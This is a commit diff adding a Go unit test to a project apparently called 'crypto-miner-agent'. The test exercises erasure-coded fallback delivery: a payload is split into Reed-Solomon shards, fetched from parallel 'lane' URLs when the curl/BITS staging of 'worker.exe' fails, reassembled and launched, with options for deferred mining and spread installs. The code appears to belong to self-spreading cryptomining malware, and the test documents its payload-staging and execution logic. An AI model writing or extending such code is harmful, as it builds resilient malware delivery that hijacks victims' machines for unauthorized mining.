Add erasure-coded multi-lane spread foundation.

Server Reed-Solomon 4+2 shard encode on deploy plans when erasure_lanes_enabled; agents reassemble from parallel lane URLs as staging fallback with BGP/Path Tracer hints.

agent/deploy/discover_join_erasure_test.go

@@ -0,0 +1,93 @@
+package deploy
+
+import (
+	"strings"
+	"testing"
+
+	"crypto-miner-agent/config"
+
+	"github.com/klauspost/reedsolomon"
+)
+
+func TestExecuteDeployPlanErasureFallback(t *testing.T) {
+	payload := []byte("erasure-fallback-payload")
+	p := erasureParams{DataShards: 2, ParityShards: 2}
+	enc, err := reedsolomon.New(p.DataShards, p.ParityShards)
+	if err != nil {
+		t.Fatal(err)
+	}
+	shards, err := enc.Split(payload)
+	if err != nil {
+		t.Fatal(err)
+	}
+	if err := enc.Encode(shards); err != nil {
+		t.Fatal(err)
+	}
+	plan := DeployPlanBody{
+		JoinLane: "bits_curl",
+		Action:   "bits_curl",
+		Manifest: &StagingManifest{
+			Method: "curl",
+			Chunks: []StagingChunk{{URL: "http://127.0.0.1/fail", File: "worker.exe"}},
+			SHA256: hexSHA256(payload), Dest: t.TempDir() + `\w.exe`, Launch: "exe",
+		},
+		ErasurePlan: &ErasurePlanBody{
+			Enabled: true, Scheme: erasureSchemeReedSolomonV1,
+			DataShards: p.DataShards, ParityShards: p.ParityShards,
+			PayloadSHA256: hexSHA256(payload),
+			PayloadSize:   len(payload),
+			ShardToken:    "fb-token",
+			Dest:          t.TempDir() + `\w.exe`,
+			Launch:        "exe",
+		},
+	}
+	for i := range shards {
+		plan.ErasurePlan.Shards = append(plan.ErasurePlan.Shards, ErasureShardRef{
+			Index: i, Lane: parallelLaneName(i), URL: "mock://" + string(rune('a'+i)),
+		})
+	}
+	shardCopy := make([][]byte, len(shards))
+	for i, sh := range shards {
+		shardCopy[i] = append([]byte(nil), sh...)
+	}
+
+	prevFetch := erasureFetchFn
+	erasureFetchFn = func(url string) ([]byte, error) {
+		for i, ref := range plan.ErasurePlan.Shards {
+			if ref.URL == url {
+				return shardCopy[i], nil
+			}
+		}
+		return nil, nil
+	}
+	defer func() { erasureFetchFn = prevFetch }()
+
+	prevLaunch := erasureLaunchFn
+	erasureLaunchFn = func(dest, launch, dllExport string, deferMining, spreadInstall bool) (string, error) {
+		return "launched", nil
+	}
+	defer func() { erasureLaunchFn = prevLaunch }()
+
+	prevStaging := stagingLaunchFn
+	stagingLaunchFn = nil
+	stagingDownloadCurlFn = func(url, dest string) error { return errPrimaryLaneFailed }
+	defer func() {
+		stagingDownloadCurlFn = nil
+		stagingLaunchFn = prevStaging
+	}()
+
+	cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{ErasureLanesEnabled: true}}
+	msg, err := ExecuteDeployPlan(cfg, plan)
+	if err != nil {
+		t.Fatal(err)
+	}
+	if !strings.Contains(msg, "erasure_lanes:") || !strings.Contains(msg, "primary lane failed") {
+		t.Fatalf("msg=%q", msg)
+	}
+}
+
+var errPrimaryLaneFailed = primaryLaneFailedError{}
+
+type primaryLaneFailedError struct{}
+
+func (primaryLaneFailedError) Error() string { return "primary lane failed" }